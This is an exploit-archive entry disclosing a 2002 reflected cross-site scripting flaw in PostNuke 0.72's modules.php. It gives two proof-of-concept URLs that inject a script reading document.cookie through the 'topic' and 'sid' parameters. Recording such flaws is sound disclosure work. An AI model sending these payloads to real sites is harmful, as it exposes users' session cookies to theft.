PostNuke 0.72 - 'modules.php' Cross-Site Scripting

Author: Mark Grimes
type: webapps
platform: php
port: 
date_added: 2002-09-26 
date_updated: 2012-10-10 
verified: 1 
codes: OSVDB-5499 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/5809/info

A cross site scripting vulnerability has been reported for PostNuke.

An attacker may exploit this vulnerability by enticing a victim user to follow a malicious link. Attacker-supplied HTML and script code may be executed on a web client in the context of the site hosting the web-based forum.

http://news.postnuke.com/modules.php?op=modload&name=News&file=index&catid=&topic=>
<script>alert(document.cookie);</script>

http://news.postnuke.com/modules.php?op=modload&name=News&file=article&sid=
<script>alert(document.cookie);</script+>